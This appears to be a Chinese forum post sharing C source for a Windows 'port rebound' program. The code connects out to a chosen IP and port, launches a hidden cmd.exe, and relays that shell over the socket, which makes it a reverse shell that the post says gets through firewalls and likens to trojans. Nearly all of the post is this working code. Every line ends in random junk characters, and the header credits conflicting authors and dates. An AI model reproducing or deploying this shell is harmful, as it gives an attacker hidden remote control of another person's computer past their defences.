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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6q 2_WX  
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/* ============================== iR"N13  
Rebound port in Windows NT D7_*k%;@  
By wind,2006/7 .k,YlFvj  
===============================*/ CdL< *AH  
#include 9mZ  
#include |7x\m t  
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#pragma comment(lib,"wsock32.lib") \W,I?Kx$  
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void OutputShell(); ^n0]dizB  
SOCKET sClient; /dnCwFXf  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ON+J>$[[  
jt+iv*2N>  
void main(int argc,char **argv) uslQ*7S[^  
{ +}jJ&Z9 )  
WSADATA stWsaData; XrZ*1V  
int nRet; V)}rEX   
SOCKADDR_IN stSaiClient,stSaiServer; v%Wx4v@%SE  
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if(argc != 3) (p%>j0<  
{ A_KW(;50  
printf("Useage:\n\rRebound DestIP DestPort\n"); >M&3Y XC  
return; ](|\whI  
} 0Won9P  
3G kv4,w<  
WSAStartup(MAKEWORD(2,2),&stWsaData); k5]j.V2f  
nT2)E&U6%  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _UuC,Pl3  
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stSaiClient.sin_family = AF_INET; Hc`A3SMR  
stSaiClient.sin_port = htons(0); Bj7gQ%>H4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); irjP>3_e  
m#=z7.XrX  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) dO%W+K  
{ 7 [0L9\xm  
printf("Bind Socket Failed!\n"); sJNFFOz  
return; $ MC)}l  
} 5atYOep  
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stSaiServer.sin_family = AF_INET; .1LCXW=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $8BPlqBIZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Sfdu`MQR  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ha)ANAD  
{ :,)lm.}]t  
printf("Connect Error!"); <F04GO\  
return; "jw<V,,  
} T1H"\+  
OutputShell(); OrK&RC  
} P9 Z}H(?C  
)2M>3C6>f  
void OutputShell() ~y7jCcd`  
{ W 5R\Q,x6  
char szBuff[1024]; 64 5z#_}C$  
SECURITY_ATTRIBUTES stSecurityAttributes; 8U_{|]M  
OSVERSIONINFO stOsversionInfo; W6Y@U$P#G  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D+>1]ij  
STARTUPINFO stStartupInfo; 0 iJue &  
char *szShell; |ZQ@fmvL/p  
PROCESS_INFORMATION stProcessInformation; X]'7Ov  
unsigned long lBytesRead; ,~._}E&9I  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xMBaVlEN  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); LW(6$hpPp  
stSecurityAttributes.lpSecurityDescriptor = 0; !kC* g  
stSecurityAttributes.bInheritHandle = TRUE; k!{p7*0  
$kQ~d8 O  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1UQHq@aM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G%Lt.?m[  
b6*!ACY  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]~Z6;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0#MqD[U(  
stStartupInfo.wShowWindow = SW_HIDE; //aF5 :Y#  
stStartupInfo.hStdInput = hReadPipe; Gw1@KKg  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :Lz\yARpk  
F;>!&[h}G  
GetVersionEx(&stOsversionInfo); \nP>:5E1  
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switch(stOsversionInfo.dwPlatformId) (IPY^>h  
{ PsZ >P|e1  
case 1: |n] d34E  
szShell = "command.com"; FJd]D[h  
break; S<J}[I7V  
default: y\x+  
szShell = "cmd.exe"; 3*@5S]]  
break; ^urDoB:  
} Q1z;/A$Al  
}RP @!=  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); s8h-,@p  
)K2HK&t:  
send(sClient,szMsg,77,0); & j+oJasI  
while(1) M8TSt\  
{ n\Lb.}]1~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \!ej<T+JR>  
if(lBytesRead) ^53r/V}%  
{ nakYn  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YtWJX kB  
send(sClient,szBuff,lBytesRead,0); ~#/hzS  
} C7O6qpO  
else 1w&!H ]%{  
{ *2X0^H|dS  
lBytesRead=recv(sClient,szBuff,1024,0); 3=L.uXVb  
if(lBytesRead<=0) break; Ft!],n-n*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Tq~=TSD  
} vz!s~cAt  
} h3;bxq!q  
RG4sQ0  
return; /7YF mI/0  
}
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